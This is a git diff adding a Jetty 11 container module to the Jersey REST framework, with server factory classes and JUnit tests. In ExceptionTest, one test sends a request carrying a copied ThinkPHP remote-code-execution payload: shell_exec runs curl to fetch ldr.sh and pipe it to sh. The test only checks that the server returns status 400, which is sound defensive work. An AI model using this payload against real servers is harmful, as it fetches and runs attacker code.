above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start) + throws ProcessingException { + return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start); + } + + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * @since 2.12 + */ + public static Server createServer(final URI uri, final ResourceConfig config, final boolean start, + final Object parentContext) { + return createServer(uri, null, new JettyHttpContainer(config, parentContext), start); + } + + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * @since 2.12 + */ + public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) { + return createServer(uri, null, new JettyHttpContainer(config, parentContext), true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * <p/> + * This implementation defers to the + * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param config the resource configuration. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory, + final ResourceConfig config) + throws ProcessingException { + final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config); + return createServer(uri, sslContextFactory, container, true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes found by searching the + * classes referenced in the java classpath. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param handler the container that handles all HTTP requests + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + */ + public static Server createServer(final URI uri, + final SslContextFactory.Server sslContextFactory, + final JettyHttpContainer handler, + final boolean start) { + if (uri == null) { + throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL()); + } + final String scheme = uri.getScheme(); + int defaultPort = Container.DEFAULT_HTTP_PORT; + + if (sslContextFactory == null) { + if (!"http".equalsIgnoreCase(scheme)) { + throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP()); + } + } else { + if (!"https".equalsIgnoreCase(scheme)) { + throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS()); + } + defaultPort = Container.DEFAULT_HTTPS_PORT; + } + final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort(); + + final Configuration configuration = handler != null ? handler.getConfiguration() : null; + final Server server = new Server(new JettyConnectorThreadPool(configuration)); + final HttpConfiguration config = new HttpConfiguration(); + if (sslContextFactory != null) { + config.setSecureScheme("https"); + config.setSecurePort(port); + config.addCustomizer(new SecureRequestCustomizer()); + + final ServerConnector https = new ServerConnector(server, + new SslConnectionFactory(sslContextFactory, "http/1.1"), + new HttpConnectionFactory(config)); + https.setPort(port); + server.setConnectors(new Connector[]{https}); + + } else { + final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config)); + http.setPort(port); + server.setConnectors(new Connector[]{http}); + } + if (handler != null) { + server.setHandler(handler); + } + + if (start) { + try { + // Start the server. + server.start(); + } catch (final Exception e) { + throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e); + } + } + return server; + } + + // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html + // #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory) + // + // Keeping this for backwards compatibility for the time being + private static final class JettyConnectorThreadPool extends QueuedThreadPool { + private final ThreadFactory threadFactory; + + private JettyConnectorThreadPool(Configuration configuration) { + final LoomishExecutors executors = VirtualThreadUtil.withConfig(configuration, false); + if (executors.isVirtual()) { + super.setMaxThreads(Integer.MAX_VALUE - 1); + } + + this.threadFactory = new ThreadFactoryBuilder() + .setNameFormat("jetty-http-server-%d") + .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler()) + .setThreadFactory(executors.getThreadFactory()) + .build(); + } + + @Override + public Thread newThread(Runnable runnable) { + return threadFactory.newThread(runnable); + } + } +}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java new file mode 100644 index 0000000..4b80825 --- /dev/null +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
@@ -0,0 +1,57 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.server.spi.ContainerProvider; + +/** + * Container provider for containers based on Jetty Server {@link org.eclipse.jetty.server.Handler}. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Marek Potociar + */ +public final class JettyHttpContainerProvider implements ContainerProvider { + + public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler"; + @Override + public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) { + return type.cast(new JettyHttpContainer(application)); + } + return null; + } + + public <T> T createContainer(final Class<T> type, final Application application, + Object parentContext) throws ProcessingException { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) { + return type.cast(new JettyHttpContainer(application, parentContext)); + } + return null; + } + +}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java new file mode 100644 index 0000000..dca75e0 --- /dev/null +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,117 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY; +import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.CompletionException; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.eclipse.jetty.server.ServerConnector; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; + +/** + * Jersey {@code Server} implementation based on Jetty + * {@link org.eclipse.jetty.server.Server Server}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +final class JettyHttpServer implements WebServer { + + private final JettyHttpContainer container; + + private final org.eclipse.jetty.server.Server httpServer; + + JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) { + this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration); + } + + JettyHttpServer(final Class<? extends Application> applicationClass, + final JerseySeBootstrapConfiguration configuration) { + this(new JettyHttpContainer(applicationClass), configuration); + } + + JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) { + final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration + .sslClientAuthentication(); + final SslContextFactory.Server sslContextFactory; + if (configuration.isHttps()) { + sslContextFactory = new SslContextFactory.Server(); + sslContextFactory.setSslContext(configuration.sslContext()); + sslContextFactory.setWantClientAuth(sslClientAuthentication == OPTIONAL); + sslContextFactory.setNeedClientAuth(sslClientAuthentication == MANDATORY); + } else { + sslContextFactory = null; + } + this.container = container; + this.httpServer = JettyHttpContainerFactory.createServer( + configuration.uri(true), + sslContextFactory, + this.container, + configuration.autoStart()); + } + + @Override + public final JettyHttpContainer container() { + return this.container; + } + + @Override + public final int port() { + final ServerConnector serverConnector = (ServerConnector) this.httpServer.getConnectors()[0]; + final int configuredPort = serverConnector.getPort(); + final int localPort = serverConnector.getLocalPort(); + return localPort < 0 ? configuredPort : localPort; + } + + @Override + public final CompletableFuture<Void> start() { + return CompletableFuture.runAsync(() -> { + try { + this.httpServer.start(); + } catch (final Exception e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final CompletableFuture<Void> stop() { + return CompletableFuture.runAsync(() -> { + try { + this.httpServer.stop(); + } catch (final Exception e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final <T> T unwrap(final Class<T> nativeClass) { + return nativeClass.cast(this.httpServer); + } + +}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java new file mode 100644 index 0000000..395a9f9 --- /dev/null +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
@@ -0,0 +1,51 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; + +/** + * Server provider for servers based on Jetty + * {@link org.eclipse.jetty.server.Server Server}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class JettyHttpServerProvider implements WebServerProvider { + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Application application, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration) + ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration) + ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } +}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java similarity index 75% copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java copy to containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java index dd25372..27763d0 100644 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,7 +14,7 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.internal.jsr166; - -public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> { -} +/** + * Jersey Jetty container classes. + */ +package org.glassfish.jersey.jetty;
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider new file mode 100644 index 0000000..6b9cc26 --- /dev/null +++ b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@ +org.glassfish.jersey.jetty.JettyHttpContainerProvider
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider new file mode 100644 index 0000000..641eaee --- /dev/null +++ b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@ +org.glassfish.jersey.jetty.JettyHttpServerProvider
diff --git a/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties new file mode 100644 index 0000000..f6be7cf --- /dev/null +++ b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -0,0 +1,25 @@ +# +# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +# {0} - status code; {1} - status reason message +container.started=JettyHttpContainer.handle(...) started. +exception.sending.error.response=I/O exception occurred while sending "{0}/{1}" error response. +error.when.creating.server=Exception thrown when trying to create jetty server. +unable.to.close.response=Unable to close response output. +uri.cannot.be.null=The URI must not be null. +wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL. +wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL. +not.supported=Jetty container is not supported on JDK version less than 11.
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java new file mode 100644 index 0000000..7519624 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
@@ -0,0 +1,130 @@ +/* + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Contributors to the Eclipse Foundation + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import java.net.URI; +import java.security.AccessController; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.RuntimeType; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ResourceConfig; + +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; +import org.junit.jupiter.api.AfterEach; + +/** + * Abstract Jetty Server unit tester. + * + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Miroslav Fuksa + */ +public abstract class AbstractJettyServerTester { + + private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName()); + + public static final String CONTEXT = ""; + private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998 + + /** + * Get the port to be used for test application deployments. + * + * @return The HTTP port of the URI + */ + protected final int getPort() { + if (server != null) { + return ((ServerConnector) server.getConnectors()[0]).getLocalPort(); + } + + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + + try { + final int i = Integer.parseInt(value); + if (i < 0) { + throw new NumberFormatException("Value is negative."); + } + return i; + } catch (NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid non-negative integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + return DEFAULT_PORT; + } + + private final int getPort(RuntimeType runtimeType) { + switch (runtimeType) { + case SERVER: + return getPort(); + case CLIENT: + return server.getURI().getPort(); + default: + throw new IllegalStateException("Unexpected runtime type"); + } + } + + private volatile Server server; + + public UriBuilder getUri() { + return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT); + } + + public void startServer(Class<?>... resources) { + ResourceConfig config = new ResourceConfig(resources); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + startServer(config); + } + + public void startServer(ResourceConfig config) { + final URI baseUri = getBaseUri(); + server = JettyHttpContainerFactory.createServer(baseUri, config); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + getBaseUri()); + } + + public URI getBaseUri() { + return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build(); + } + + public void stopServer() { + try { + server.stop(); + server = null; + LOGGER.log(Level.INFO, "Jetty-http server stopped."); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @AfterEach + public void tearDown() { + if (server != null) { + stopServer(); + } + } +}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java new file mode 100644 index 0000000..dfc66b0 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
@@ -0,0 +1,169 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.concurrent.atomic.AtomicInteger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Response; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.is; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Michal Gajdos + */ +public class AsyncTest extends AbstractJettyServerTester { + + @Path("/async") + @SuppressWarnings("VoidMethodAnnotatedWithGET") + public static class AsyncResource { + + public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0); + + @GET + public void asyncGet(@Suspended final AsyncResponse asyncResponse) { + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep() + try { + Thread.sleep(5000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(final AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.") + .build()); + } + }); + asyncResponse.setTimeout(3, TimeUnit.SECONDS); + + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep() + try { + Thread.sleep(7000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("multiple-invocations") + public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) { + INVOCATION_COUNT.incrementAndGet(); + + new Thread(new Runnable() { + @Override + public void run() { + asyncResponse.resume("OK"); + } + }).start(); + } + } + + private Client client; + + @BeforeEach + public void setUp() throws Exception { + startServer(AsyncResource.class); + client = ClientBuilder.newClient(); + } + + @Override + @AfterEach + public void tearDown() { + super.tearDown(); + client = null; + } + + @Test + public void testAsyncGet() throws ExecutionException, InterruptedException { + final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + // get() waits for the response + assertEquals("DONE", response.readEntity(String.class)); + } + + @Test + public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException { + final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } + + /** + * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request. + */ + @Test + public void testAsyncMultipleInvocations() throws Exception { + final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get(); + + assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1)); + + assertThat(response.getStatus(), is(200)); + assertThat(response.readEntity(String.class), is("OK")); + } +}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java new file mode 100644 index 0000000..03abb53 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
@@ -0,0 +1,97 @@ +/* + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import org.apache.http.HttpHost; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.message.BasicHttpRequest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.PathParam; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import java.io.IOException; +import java.net.URI; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + */ +public class ExceptionTest extends AbstractJettyServerTester { + @Path("{status}") + public static class ExceptionResource { + @GET + public String get(@PathParam("status") int status) { + throw new WebApplicationException(status); + } + + } + + @Test + public void test400StatusCodeForIllegalSymbolsInURI() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction" + + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0" + + ".0.1/ldr.sh|sh"; + BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCodeForIllegalHeaderValue() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400"); + request.addHeader("X-Forwarded-Host", "_foo.com"); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCode() throws IOException { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("400").build()); + assertEquals(400, r.request().get(Response.class).getStatus()); + } + + @Test + public void test500StatusCode() { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("500").build()); + + assertEquals(500, r.request().get(Response.class).getStatus()); + } +}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java new file mode 100644 index 0000000..cb363fb --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
